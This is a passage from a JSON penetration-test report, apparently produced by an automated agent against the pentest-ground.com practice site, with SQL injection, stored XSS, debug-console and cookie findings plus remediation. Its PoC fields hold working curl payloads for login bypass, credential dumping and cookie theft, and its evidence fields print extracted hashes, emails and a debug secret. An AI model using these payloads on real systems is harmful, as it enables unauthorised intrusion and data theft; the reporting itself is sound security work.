      "evidence": "```\nDatabase: SQLite 3.27.2\nTables: users, tokens\nUsers table schema: CREATE TABLE users (id INTEGER PRIMARY KEY, username char(100) NOT NULL, password char(100) NOT NULL)\n\nExtracted user credentials (all 21 rows):\n1:user1:pass1; 2:user2:pass2; 3:user3:pass3; 4:user4:pass4; 5:user5:pass5;\n6:user6:pass6; 7:user7:pass7; 8:user8:pass8; 9:user9:pass9;\n10:admin1:pass1; 11:admin2:pass2;\n[additional test-data entries 12–21]\n\nAuthentication bypass token obtained: e35497b51b3154a15b7461f40ee5fe86\nToken issued without any valid credential — purely via SQL injection.\n\nVulnerable source code (exposed via Werkzeug traceback):\n  File \"/usr/src/app/vAPI.py\", line 59, in get_token\n    c.execute(user_query)\n  # user_query = \"SELECT * FROM users WHERE username = '%s' AND password = '%s'\" % (username, password)\n  # Comment in code: \"# no sql parameterization\"\n```",
      "poc": "1. Send an authentication bypass request using SQL OR logic:\n   ```bash\n   curl -s -X POST \"https://pentest-ground.com:9000/tokens\" \\\n     -H \"Content-Type: application/json\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     -d '{\"username\": \"user1'\\'' OR '\\''1'\\''='\\''1'\\''--\", \"password\": \"anything\"}'\n   ```\n   Response confirms authentication bypass with token:\n   ```json\n   {\n     \"access\": {\n       \"token\": {\"expires\": \"Thu May 21 03:21:34 2026\", \"id\": \"e35497b51b3154a15b7461f40ee5fe86\"},\n       \"user\": {\"id\": 1, \"name\": \"user1\"}\n     }\n   }\n   ```\n\n2. Confirm UNION injection with 3 columns (matching `id, username, password` schema):\n   ```bash\n   curl -s -X POST \"https://pentest-ground.com:9000/tokens\" \\\n     -H \"Content-Type: application/json\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     -d '{\"username\": \"nonexistent'\\'' UNION SELECT 1,2,3--\", \"password\": \"x\"}'\n   ```\n   Response shows `\"id\": 1, \"name\": 2` — UNION columns mapped to output fields.\n\n3. Extract the SQLite version and table names:\n   ```bash\n   # SQLite version\n   curl -s -X POST \"https://pentest-ground.com:9000/tokens\" \\\n     -H \"Content-Type: application/json\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     -d '{\"username\": \"nonexistent'\\'' UNION SELECT sqlite_version(),2,3--\", \"password\": \"x\"}'\n   # Response: \"id\": \"3.27.2\"\n\n   # Table names\n   curl -s -X POST \"https://pentest-ground.com:9000/tokens\" \\\n     -H \"Content-Type: application/json\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     -d '{\"username\": \"nonexistent'\\'' UNION SELECT group_concat(name,'\\''|'\\''),2,3 FROM sqlite_master WHERE type='\\''table'\\''--\", \"password\": \"x\"}'\n   # Response: \"id\": \"users|tokens\"\n   ```\n\n4. Retrieve the `users` table schema:\n   ```bash\n   curl -s -X POST \"https://pentest-ground.com:9000/tokens\" \\\n     -H \"Content-Type: application/json\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     -d '{\"username\": \"nonexistent'\\'' UNION SELECT sql,2,3 FROM sqlite_master WHERE name='\\''users'\\''--\", \"password\": \"x\"}'\n   # Response: \"id\": \"CREATE TABLE users (id INTEGER PRIMARY KEY, username char(100) NOT NULL, password char(100) NOT NULL)\"\n   ```\n\n5. Dump all user credentials:\n   ```bash\n   curl -s -X POST \"https://pentest-ground.com:9000/tokens\" \\\n     -H \"Content-Type: application/json\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     -d '{\"username\": \"nonexistent'\\'' UNION SELECT group_concat(id||'\\'':'\\''||username||'\\'':'\\''||password,'\\''; '\\''),2,3 FROM users--\", \"password\": \"x\"}'\n   ```",
      "remediation": "#### Remediation Summary\n- **Who should fix this:** Backend developer\n- **Effort estimate:** 1–2 hours\n- **When:** Before any further production exposure\n- **What the fix involves:** Change how the login query is built so user input is always treated as data, never as SQL command text, by using parameterized queries.\n\nThis finding requires immediate attention before any further production exposure.\n\n#### Root Cause\n\nThe `get_token()` function at `/usr/src/app/vAPI.py:55–59` builds the SQL query by inserting username and password directly into a format string: `\"SELECT * FROM users WHERE username = '%s' AND password = '%s'\" % (username, password)`. The developer even left a comment acknowledging this: `# no sql parameterization`. SQLite's `execute()` receives the fully assembled string and cannot distinguish the injected SQL clauses from the intended query structure. Using the `?` placeholder syntax would instruct the SQLite driver to bind values as data, making injection structurally impossible.\n\n#### Recommended Fix\n\n**Before (vulnerable):**\n```python\n# /usr/src/app/vAPI.py lines 55–59\n# no sql parameterization\nuser_query = \"SELECT * FROM users WHERE username = '%s' AND password = '%s'\" % (\n    username,\n    password,\n)\nc.execute(user_query)\n```\n\n**After (secure):**\n```python\n# Use parameterized query — sqlite3 ? placeholder binds values as data\nc.execute(\n    \"SELECT * FROM users WHERE username = ? AND password = ?\",\n    (username, password),\n)\n```\n\n**Additional Hardening:**\n- Hash passwords with bcrypt or Argon2 before storage — plaintext passwords mean a single DB breach exposes all accounts permanently.\n- Add rate limiting on `POST /tokens` (e.g., 5 attempts per IP per minute) to slow credential-stuffing even if parameterization is properly applied.\n- Implement account lockout after repeated failed attempts to limit brute-force exposure.\n\n#### Verification\n1. **Verify bypass is closed:** Send `POST /tokens` with `{\"username\": \"user1' OR '1'='1'--\", \"password\": \"x\"}`. The expected (secure) response is HTTP 401 with an error message. If a token is returned, the fix was not applied.\n2. **Verify UNION injection is closed:** Send `{\"username\": \"x' UNION SELECT 1,2,3--\", \"password\": \"x\"}`. The expected (secure) response is HTTP 401. If a token with `\"id\": 1` is returned, the fix was not applied.\n3. **Verify legitimate login still works:** Send `{\"username\": \"user1\", \"password\": \"pass1\"}`. The expected (secure) response is HTTP 200 with a valid token. If HTTP 401 is returned, the parameterized query may have a logic error.\n\n#### References\n1. [OWASP SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n2. [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)\n3. [Python sqlite3 — Using Placeholders](https://docs.python.org/3/library/sqlite3.html#sqlite3-placeholders)",
      "status": "open",
      "cweId": "CWE-89",
      "cvssScore": 9.8,
      "cvssVector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "impact": "high",
      "likelihood": "high",
      "impactStatement": "An attacker obtains a valid authentication token for any user account without needing credentials, unlocking all authenticated API functionality including the code-execution endpoint. Full extraction of all stored user credentials (plaintext passwords) enables credential-stuffing attacks against every other service where those users have reused passwords. The token issued via bypass is indistinguishable from a legitimately obtained token.",
      "likelihoodStatement": "Exploitable by any unauthenticated attacker on the internet using a single `curl` command. No existing account, no special software, and no security expertise are required. Exploitation takes under 30 seconds.",
      "confidence": "confirmed",
      "createdAt": "2026-05-21T03:51:48.803Z",
      "updatedAt": "2026-05-21T03:51:48.803Z"
    },
    {
      "id": "2c5dad00-053f-42a5-b568-473cbcb546d8",
      "title": "SQL Injection in Search Endpoint Exposing User PII and Hashed Credentials via POST /search (Port 81)",
      "severity": "critical",
      "category": "injection",
      "description": "The FlaskBlog application's `POST /search` endpoint constructs its SQL query using a Python f-string at `/app/app.py:162`, directly embedding the `query` POST parameter into the SQLite3 `LIKE` clause with zero sanitization. An unauthenticated attacker can inject UNION SELECT clauses to pivot from the `posts` table to any other table in the database. Live testing extracted the complete `users` table including usernames, email addresses, bcrypt-hashed passwords, and phone numbers for three registered accounts including the administrator.",
      "evidence": "```\nError confirmation:\nPOST /search with query=test' →\n  sqlite3.OperationalError: unrecognized token: \"'test''\"\n  Werkzeug traceback reveals: /app/app.py:162\n  conn.execute(f\"SELECT * FROM posts WHERE title LIKE '{query}'\")\n\nColumn count: 5 (ORDER BY 5 succeeds, ORDER BY 6 fails)\nReflected output columns: col2 (badge/created), col3 (h2/title)\n\nDatabase fingerprint: SQLite 3.27.2\n\nUsers table schema:\n  CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT,\n  username TEXT NOT NULL, email TEXT NOT NULL UNIQUE,\n  password TEXT NOT NULL, phone TEXT NOT NULL)\n\nExtracted user records (all 3 registered accounts):\n  Bonnie : bonnie@security-guard.com : $2b$12$fZvCcJRisNODOewGkaytq.qHD2bqB5vjvhdcOoZM3TBxN5afYVzeq : +40 723 987 222\n  admin  : admin@security-guard.com  : $2a$12$U5acpaBL2PPt/LWW0uAO3.p4YJRz0FeasfpVvHc4I3FoWho9rt2ku : +40 723 987 233\n  Bonnie_2 : bonnie_2@security-guard.com : $2b$12$fZvCcJRisNODOewGkaytq.qHD2bqB5vjvhdcOoZM3TBxN5afYVzeq : +40 723 987 111\n```",
      "poc": "1. Confirm SQL injection via single-quote error trigger (no authentication required):\n   ```bash\n   curl -s -X POST \"https://pentest-ground.com:81/search\" \\\n     -H \"Content-Type: application/x-www-form-urlencoded\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     -d \"query=test'\"\n   # Response: sqlite3.OperationalError: unrecognized token: \"'test''\"\n   # (Full Werkzeug traceback revealing source code at /app/app.py:162)\n   ```\n\n2. Determine the column count with ORDER BY probing:\n   ```bash\n   # ORDER BY 5 succeeds, ORDER BY 6 fails → 5 columns\n   curl -s -X POST \"https://pentest-ground.com:81/search\" \\\n     -H \"Content-Type: application/x-www-form-urlencoded\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     -d \"query=test' ORDER BY 5--\"   # OK\n   curl -s -X POST \"https://pentest-ground.com:81/search\" \\\n     -H \"Content-Type: application/x-www-form-urlencoded\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     -d \"query=test' ORDER BY 6--\"   # OperationalError → 5 columns confirmed\n   ```\n\n3. Identify reflected columns using marker strings:\n   ```bash\n   curl -s -X POST \"https://pentest-ground.com:81/search\" \\\n     -H \"Content-Type: application/x-www-form-urlencoded\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     -d \"query=notexists' UNION SELECT 1,'TITLE_DATA','CONTENT_DATA',4,5--\"\n   # Response HTML: <h2>CONTENT_DATA</h2> and <span class=\"badge badge-primary\">TITLE_DATA</span>\n   # → col2 and col3 are reflected in the page; col1 must be integer (post ID for URL)\n   ```\n\n4. Extract the SQLite version and enumerate tables:\n   ```bash\n   curl -s -X POST \"https://pentest-ground.com:81/search\" \\\n     -H \"Content-Type: application/x-www-form-urlencoded\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     -d \"query=notexists' UNION SELECT 1,sqlite_version(),group_concat(name,'|'),4,5 FROM sqlite_master WHERE type='table'--\"\n   # Reflected in page: SQLite 3.27.2, tables: posts (only table in posts DB)\n   # A separate 'users' table also present\n   ```\n\n5. Retrieve the `users` table schema:\n   ```bash\n   curl -s -X POST \"https://pentest-ground.com:81/search\" \\\n     -H \"Content-Type: application/x-www-form-urlencoded\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     -d \"query=notexists' UNION SELECT 1,sql,3,4,5 FROM sqlite_master WHERE name='users'--\"\n   # Response: CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT,\n   #           username TEXT NOT NULL, email TEXT NOT NULL UNIQUE,\n   #           password TEXT NOT NULL, phone TEXT NOT NULL)\n   ```\n\n6. Dump all user records:\n   ```bash\n   curl -s -X POST \"https://pentest-ground.com:81/search\" \\\n     -H \"Content-Type: application/x-www-form-urlencoded\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     -d \"query=notexists' UNION SELECT 1,group_concat(username||':'||email||':'||password||':'||phone,'; '),sqlite_version(),4,5 FROM users--\"\n   ```",
      "remediation": "#### Remediation Summary\n- **Who should fix this:** Backend developer\n- **Effort estimate:** 1–2 hours\n- **When:** Before any further production exposure\n- **What the fix involves:** Replace the f-string SQL construction with a parameterized query so user input is always treated as data, never as SQL command text.\n\nThis finding requires immediate attention before any further production exposure.\n\n#### Root Cause\n\nAt `/app/app.py:162`, the `query` form parameter is embedded directly into the SQL string using a Python f-string: `conn.execute(f\"SELECT * FROM posts WHERE title LIKE '{query}'\")`. Python f-strings perform string interpolation before the result is passed to SQLite's `execute()`, so SQLite receives an already-assembled query containing the user's input as SQL text. Replacing the f-string with a parameterized `?` placeholder makes injection structurally impossible because the value is bound separately and never parsed as SQL syntax.\n\n#### Recommended Fix\n\n**Before (vulnerable):**\n```python\n# /app/app.py line 162\nconn.execute(f\"SELECT * FROM posts WHERE title LIKE '{query}'\")\n```\n\n**After (secure):**\n```python\n# Parameterized query with LIKE wildcard applied to the bound value\nconn.execute(\n    \"SELECT * FROM posts WHERE title LIKE ?\",\n    (f\"%{query}%\",)\n)\n```\n\n**Additional Hardening:**\n- Disable Werkzeug debug mode in production (`FLASK_DEBUG=False`, `FLASK_ENV=production`) — the full stack trace exposed the exact vulnerable source line, making exploitation trivial.\n- Apply input length limits on the `query` parameter (e.g., 200 characters) to reduce the payload space for complex injection chains.\n- Consider returning search results through a template that HTML-encodes all output to provide defense-in-depth against reflected injection.\n\n#### Verification\n1. **Verify injection is closed:** Send `POST /search` with `query=test'`. The expected (secure) response is a normal search results page (possibly empty) with HTTP 200 — no Werkzeug traceback. If an `OperationalError` traceback is returned, the fix was not applied.\n2. **Verify UNION injection is closed:** Send `POST /search` with `query=notexists' UNION SELECT 1,'test',3,4,5--`. The expected (secure) response shows no results or the literal search term. If a fake post with title \"test\" appears, the fix was not applied.\n3. **Verify legitimate search still works:** Send `POST /search` with `query=hello`. The expected (secure) response shows posts matching \"hello\" in the title. If the results page is empty or errors, there is a regression.\n\n#### References\n1. [OWASP SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n2. [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)\n3. [Python sqlite3 — Avoiding SQL injection](https://docs.python.org/3/library/sqlite3.html#sqlite3-placeholders)",
      "status": "open",
      "cweId": "CWE-89",
      "cvssScore": 9.8,
      "cvssVector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "impact": "high",
      "likelihood": "high",
      "impactStatement": "An unauthenticated attacker can read any table in the FlaskBlog SQLite database. The `users` table contains personal contact details (email, phone) and password hashes. Even though the passwords are bcrypt-hashed, the usernames and email addresses are immediately usable for phishing, and the hashes can be subjected to offline brute-force attacks. The administrator account credentials are included. There is no authentication required to trigger this vulnerability.",
      "likelihoodStatement": "Exploitable by any unauthenticated attacker on the internet using a standard HTML form submission or `curl` command. No login, no special software, and no security expertise are required. Exploitation takes under one minute.",
      "confidence": "confirmed",
      "createdAt": "2026-05-21T03:51:48.803Z",
      "updatedAt": "2026-05-21T03:51:48.803Z"
    },
    {
      "id": "0e31b898-eb2d-495a-a357-93f74aad49a8",
      "title": "Stored Cross-Site Scripting via Post Title — Session Cookie Hijack",
      "severity": "high",
      "category": "xss",
      "description": "The `POST /create` endpoint (also `POST /{id}/edit`) accepts a `title` parameter that is stored directly in the database and later rendered inside both the `<title>` and `<h2>` HTML elements at `GET /post/{id}` without any HTML-entity encoding. The Jinja2 template applies standard autoescaping to the `content` field but bypasses it for the `title` field (via `{{ post.title | safe }}` or equivalent). An attacker who injects a `<script>` tag into the title causes that script to execute in every victim's browser that visits the post URL. Because the `SessionID` cookie lacks the `HttpOnly` flag, the injected script can read `document.cookie` and exfiltrate the victim's session token, enabling full account takeover. No authentication is required to plant the payload.",
      "evidence": "*Raw HTML at `/post/13` showing unencoded payload injection in both `<title>` and `<h2>` elements:*\n```html\n<title> PentestProbe><script>document.title='XSS:'+document.cookie</script> </title>\n...\n<h2> PentestProbe><script>document.title='XSS:'+document.cookie</script> </h2>\n<span class=\"badge badge-primary\">2026-05-21 03:11:09</span>\n<p>Exploitation test content</p>\n```\n\n*Playwright browser navigation result confirming JavaScript execution and cookie exfiltration:*\n```\nPage URL:   https://pentest-ground.com:81/post/13\nPage Title: XSS:SessionID=encrypted-session-id\n```\n\n*Response headers confirming no Content-Security-Policy:*\n```\nHTTP/1.1 200 OK\nServer: nginx/1.31.0\nContent-Type: text/html; charset=utf-8\n[No Content-Security-Policy header present]\n```\n\n*Set-Cookie header confirming absent HttpOnly, Secure, and SameSite flags:*\n```\nSet-Cookie: SessionID=encrypted-session-id; Path=/\n(HttpOnly: ABSENT — allows document.cookie access)\n(Secure: ABSENT — cookie transmitted over plain HTTP)\n(SameSite: ABSENT — cookie sent on cross-site requests)\n```\n\n*Stolen session cookie value:*\n```\nSessionID=encrypted-session-id\n```",
      "poc": "1. **Plant the payload** — Send an unauthenticated POST request to create a new post with an XSS payload in the `title` field:\n   ```\n   curl -s -X POST \"https://pentest-ground.com:81/create\" \\\n     -H \"Content-Type: application/x-www-form-urlencoded\" \\\n     --data-urlencode \"title=PentestProbe><script>document.title='XSS:'+document.cookie</script>\" \\\n     --data-urlencode \"content=Normal looking blog content\" \\\n     --data-urlencode \"reference=https://pentest-ground.com\"\n   ```\n\n2. **Identify the new post ID** — The application does not redirect to the new post; probe sequential IDs until the payload is found:\n   ```\n   for id in $(seq 1 20); do\n     title=$(curl -s \"https://pentest-ground.com:81/post/$id\" | grep -o '<title>[^<]*</title>' | head -1)\n     echo \"Post $id: $title\"\n   done\n   ```\n   Post 13 was confirmed to contain the injected payload.\n\n3. **Verify raw injection** — Confirm the payload is stored unencoded in the HTML response:\n   ```\n   curl -s \"https://pentest-ground.com:81/post/13\" | grep -A1 \"<title>\\|<h2>\"\n   ```\n   Expected output (confirms unencoded injection):\n   ```html\n   <title> PentestProbe><script>document.title='XSS:'+document.cookie</script> </title>\n   ...\n   <h2> PentestProbe><script>document.title='XSS:'+document.cookie</script> </h2>\n   ```\n\n4. **Trigger execution in a victim browser** — Navigate a browser to the poisoned post URL:\n   ```\n   https://pentest-ground.com:81/post/13\n   ```\n\n5. **Observe cookie exfiltration** — Read the browser's page title immediately after navigation. The injected script executes on page load and writes `document.cookie` into `document.title`:\n   - **Playwright observation:** `Page Title: XSS:SessionID=encrypted-session-id`\n   - This confirms JavaScript executed AND `document.cookie` was successfully read.\n\n6. **Session hijack** — Use the stolen cookie to impersonate the victim:\n   ```\n   curl -s \"https://pentest-ground.com:81/\" \\\n     -H \"Cookie: SessionID=encrypted-session-id\"\n   ```\n   Or set `document.cookie = \"SessionID=encrypted-session-id\"` in an attacker-controlled browser to assume the victim's session.\n\n7. **Scale attack via existing posts** — Use the edit endpoint to overwrite a publicly listed post (visible at `/blog`) without authentication:\n   ```\n   curl -s -X POST \"https://pentest-ground.com:81/1/edit\" \\\n     -H \"Content-Type: application/x-www-form-urlencoded\" \\\n     --data-urlencode \"title=test';SELECT 1--><script>document.title='XSS:'+document.cookie</script>\" \\\n     --data-urlencode \"content=Normal content\" \\\n     --data-urlencode \"reference=https://pentest-ground.com\"\n   ```\n   Any user clicking post 1 from the `/blog` listing will have their session stolen automatically.",
      "remediation": "#### Remediation Summary\n- **Who should fix this:** Backend developer (Flask/Jinja2 template author)\n- **Effort estimate:** 1–2 hours\n- **When:** Before the next production release\n- **What the fix involves:** Remove the `| safe` filter (or equivalent autoescaping bypass) from the `title` variable in the post view Jinja2 template, and apply the same HTML-entity encoding already used for the `content` field.\n\nThis finding should be remediated before the next production release.\n\n#### Root Cause\n\nThe Jinja2 template for the post view page renders the `title` variable using `{{ post.title | safe }}` (or an equivalent method that disables autoescaping), while the `content` variable is rendered with standard autoescaping (`{{ post.content }}`). Jinja2's autoescaping converts dangerous characters (`<`, `>`, `\"`, `'`, `&`) to their HTML-entity equivalents, making injected tags inert. By applying `| safe` to the title, the developer bypassed this protection, instructing the template engine to trust the database value as safe HTML. Because the title comes from untrusted user input with no server-side sanitization, any HTML or JavaScript a user submits is preserved verbatim from storage through to browser rendering.\n\n#### Recommended Fix\n\n**Before (vulnerable):**\n```html\n{# In post.html or equivalent template #}\n<title>{{ post.title | safe }}</title>\n...\n<h2>{{ post.title | safe }}</h2>\n```\n\n**After (secure):**\n```html\n{# Remove | safe — Jinja2 autoescaping encodes < > \" ' & #}\n<title>{{ post.title }}</title>\n...\n<h2>{{ post.title }}</h2>\n```\n\nIf rich HTML in post titles is a product requirement, use a strict server-side allowlist sanitizer before storage:\n```python\nimport bleach\nALLOWED_TAGS = []  # No HTML tags permitted in titles\nALLOWED_ATTRIBUTES = {}\n\ndef sanitize_title(raw_title: str) -> str:\n    return bleach.clean(raw_title, tags=ALLOWED_TAGS, attributes=ALLOWED_ATTRIBUTES, strip=True)\n\n# In /create and /{id}/edit route handlers:\ntitle = sanitize_title(request.form.get('title', ''))\n```\n\n**Additional Hardening:**\n- **Add a Content-Security-Policy header** restricting inline script execution: `Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'`. This provides defense-in-depth — even if a future encoding bypass is introduced, inline `<script>` blocks would be blocked by the browser.\n- **Add HttpOnly flag to the SessionID cookie:** Change `Set-Cookie: SessionID=...; Path=/` to `Set-Cookie: SessionID=...; Path=/; HttpOnly; Secure; SameSite=Lax`. This makes the cookie inaccessible to JavaScript, eliminating session theft as a direct XSS impact even if another XSS is introduced later.\n- **Enforce authentication on `POST /create` and `POST /{id}/edit`:** Unauthenticated post creation and editing is a separate design risk that amplifies XSS by allowing anonymous attackers to plant payloads without leaving a credential trace.\n\n#### Verification\n\nFollow these steps after applying the fix to confirm it is effective:\n\n**Step 1 — Verify encoding of the injected title in the HTML response:**\n```bash\ncurl -s -X POST \"https://pentest-ground.com:81/create\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  --data-urlencode \"title=<script>alert(1)</script>\" \\\n  --data-urlencode \"content=test\" \\\n  --data-urlencode \"reference=https://example.com\"\n\n# Then find the new post ID and inspect the title element:\ncurl -s \"https://pentest-ground.com:81/post/{new_id}\" | grep -i \"title\\|h2\"\n```\n- **Expected (secure) output:** `<title> &lt;script&gt;alert(1)&lt;/script&gt; </title>` — angle brackets HTML-encoded\n- **Unexpected (still vulnerable):** `<title> <script>alert(1)</script> </title>` — raw tags present\n\n**Step 2 — Verify no JavaScript execution in a real browser:**\nOpen `https://pentest-ground.com:81/post/{new_id}` in a browser (or Playwright). Check the page title.\n- **Expected (secure):** Page title shows the literal text `<script>alert(1)</script>` (encoded characters displayed as text)\n- **Unexpected (still vulnerable):** An alert dialog fires, or page title is mutated by script\n\n**Step 3 — Verify the cookie-stealing variant is neutralised:**\n```bash\ncurl -s -X POST \"https://pentest-ground.com:81/create\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  --data-urlencode \"title=><script>document.title='STOLEN:'+document.cookie</script>\" \\\n  --data-urlencode \"content=regression check\" \\\n  --data-urlencode \"reference=https://example.com\"\n```\nNavigate to the resulting post URL and check the page title.\n- **Expected (secure):** Page title shows the post title text with HTML entities — no cookie value appears; `document.cookie` is not read\n- **Unexpected (still vulnerable):** Page title changes to `STOLEN:SessionID=...` confirming cookie access\n\n**Step 4 — Confirm the edit endpoint is also fixed:**\nApply the same test against `POST /1/edit` with an XSS payload in the `title` field and verify the title at `GET /post/1` is HTML-encoded.\n\n#### References\n1. OWASP Cross Site Scripting Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html\n2. CWE-79: Improper Neutralization of Input During Web Page Generation: https://cwe.mitre.org/data/definitions/79.html\n3. Jinja2 autoescaping documentation: https://jinja.palletsprojects.com/en/3.1.x/api/#autoescaping",
      "status": "open",
      "cweId": "CWE-79",
      "cvssScore": 8.2,
      "cvssVector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
      "impact": "high",
      "likelihood": "high",
      "impactStatement": "An unauthenticated attacker can plant a persistent, reusable payload that fires for every user who visits the poisoned post URL. The attacker receives the victim's `SessionID` cookie, which they can replay in their own browser to impersonate that user for the duration of the session. Because `POST /{id}/edit` also accepts the `title` parameter without authentication, an attacker can overwrite the titles of pre-existing posts (posts 1 and 2 are displayed in the public blog listing at `/blog`), expanding the blast radius to every visitor of those publicly listed pages. The stolen session grants whatever access the victim held, including administrative functions if the victim is an administrator.",
      "likelihoodStatement": "Exploitable by anyone with internet access using a simple HTTP POST request — no login, no special tools, and no security expertise required; the entire attack from payload planting to cookie theft takes under a minute. The only condition for cookie theft is that at least one authenticated user must visit the poisoned post URL (which an attacker can trigger by sharing the link via email or social engineering).",
      "confidence": "confirmed",
      "createdAt": "2026-05-21T03:51:48.803Z",
      "updatedAt": "2026-05-21T03:51:48.803Z"
    },
    {
      "id": "9e084df8-6c6a-4420-9a24-dfa828d6f6ef",
      "title": "Werkzeug Debug Console Exposed at /console",
      "severity": "high",
      "category": "misconfiguration",
      "description": "The Flask application running on `https://pentest-ground.com:81/` has the Werkzeug debug console enabled in production. The `/console` endpoint returns HTTP 200 with the Werkzeug Interactive Console page. The page JavaScript leaks the debug secret: `SECRET = \"G6uJE14HpWSw64L8LvuU\"`. Additionally, malformed requests to any route (e.g., POST with wrong Content-Type) trigger full interactive Werkzeug debugger stack traces in the response.",
      "evidence": "- `curl -sk https://pentest-ground.com:81/console | grep \"Interactive Console\"` → returns `<h1>Interactive Console</h1>` (HTTP 200)\n- Page includes: `SECRET = \"G6uJE14HpWSw64L8LvuU\"`, `EVALEX = true`, `EVALEX_TRUSTED = false`\n- `curl -sk -X POST https://pentest-ground.com:81/login -H \"Content-Type: application/json\" -d '{}'` → returns Werkzeug debugger HTML with full Python stack trace and secret key",
      "poc": "Read-only verification, no active exploitation:\n1. `curl -sk https://pentest-ground.com:81/console | grep -i \"Interactive Console\"`\n2. `curl -sk -X POST https://pentest-ground.com:81/login -H \"Content-Type: application/json\" -d '{\"invalid\"}' | grep \"SECRET\"`",
      "remediation": "Set `FLASK_DEBUG=0` and `FLASK_ENV=production` in all deployment configurations. Never start Flask with `debug=True` in production. Remove Werkzeug debugger from production WSGI setup entirely.",
      "status": "open",
      "cweId": "CWE-94",
      "cvssScore": 6.1,
      "cvssVector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "impact": "high",
      "likelihood": "medium",
      "impactStatement": "The Werkzeug debug PIN is derivable from values readable on the host filesystem (`/proc/self/cgroup`, `/etc/machine-id`, network interface MAC address). Once derived, the console allows executing arbitrary Python code in the context of the Flask application, achieving Remote Code Execution with full access to the database, environment variables, and underlying host.",
      "likelihoodStatement": "Remote unauthenticated attacker. No credentials required to access `/console` or trigger debug tracebacks. PIN derivation requires reading `/proc` or `/etc/machine-id` (possible if an LFI vulnerability also exists, or via the traceback-disclosed file paths).",
      "confidence": "unconfirmed",
      "createdAt": "2026-05-21T03:51:48.803Z",
      "updatedAt": "2026-05-21T03:51:48.803Z"
    },
    {
      "id": "fec7af9d-9161-4b89-95db-a65755797db5",
      "title": "Session Cookie Missing Security Attributes",
      "severity": "low",
      "category": "misconfiguration",
      "description": "The `Set-Cookie` response header for the `SessionID` cookie lacks `HttpOnly`, `Secure`, and `SameSite` attributes. This exposes the session token to JavaScript theft, transmission over HTTP, and cross-site request forgery.",
      "evidence": "- `curl -si https://pentest-ground.com:81/ | grep -i set-cookie` → `Set-Cookie: SessionID=encrypted-session-id; Path=/` — no HttpOnly, Secure, or SameSite flags present",
      "poc": "Read-only verification, no active exploitation:\n1. `curl -si https://pentest-ground.com:81/ | grep -i set-cookie`\n2. Observe absence of `HttpOnly`, `Secure`, and `SameSite` in the cookie header.",
      "remediation": "Set Flask configuration: `SESSION_COOKIE_HTTPONLY=True`, `SESSION_COOKIE_SECURE=True`, `SESSION_COOKIE_SAMESITE='Lax'`. Verify with `curl -si https://pentest-ground.com:81/login -X POST -d \"username=x&password=x\" | grep -i set-cookie`.",
      "status": "open",
      "cweId": "CWE-1004",
      "cvssScore": 4.3,
      "cvssVector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "impact": "low",
      "likelihood": "low",
      "impactStatement": "A successful XSS attack can directly steal the session cookie via `document.cookie`. Without the Secure flag, the cookie may be transmitted over HTTP connections. Without SameSite, cross-site request forgery is feasible against any state-changing endpoint.",
      "likelihoodStatement": "Requires a separate XSS vulnerability for cookie theft, or a network-level attack for HTTP interception. CSRF is exploitable directly by any attacker who can trick an authenticated user into visiting a malicious page.",
      "confidence": "unconfirmed",
      "createdAt": "2026-05-21T03:51:48.803Z",
      "updatedAt": "2026-05-21T03:51:48.803Z"
    },
    {
      "id": "c5a0054b-16eb-442d-9e81-edf5147a7d8f",
      "title": "Server Version Disclosure",
      "severity": "informational",
      "category": "misconfiguration",
      "description": "All HTTP responses include the `Server: nginx/1.31.0` header, exposing the exact web server software and version to any visitor.",
      "evidence": "- `curl -sI https://pentest-ground.com:81/ | grep -i server` → `Server: nginx/1.31.0`",
      "poc": "Read-only verification, no active exploitation:\n1. `curl -sI https://pentest-ground.com:81/ | grep -i server`",
      "remediation": "Set `server_tokens off;` in nginx.conf to suppress version information from response headers.",
      "status": "open",
      "cweId": "CWE-200",
      "cvssScore": 0,
      "cvssVector": null,
      "impact": "low",
      "likelihood": "low",
      "impactStatement": "Discloses exact nginx version, enabling targeted research into version-specific CVEs and reducing the reconnaissance cost for an attacker.",
      "likelihoodStatement": "Any unauthenticated remote visitor — single HTTP request reveals the header.",
      "confidence": "unconfirmed",
      "createdAt": "2026-05-21T03:51:48.803Z",
      "updatedAt": "2026-05-21T03:51:48.803Z"
    },
    {
      "id": "5f76fa98-f582-4f22-9cd6-a717936871eb",
      "title": "BREACH — gzip Compression with Potential Secret Exposure",
      "severity": "informational",
      "category": "misconfiguration",
      "description": "Testssl.sh identified that HTTP gzip compression is enabled on the target. The BREACH attack can exploit HTTP compression to recover secret tokens from compressed responses when an attacker can inject chosen plaintext into the request.",
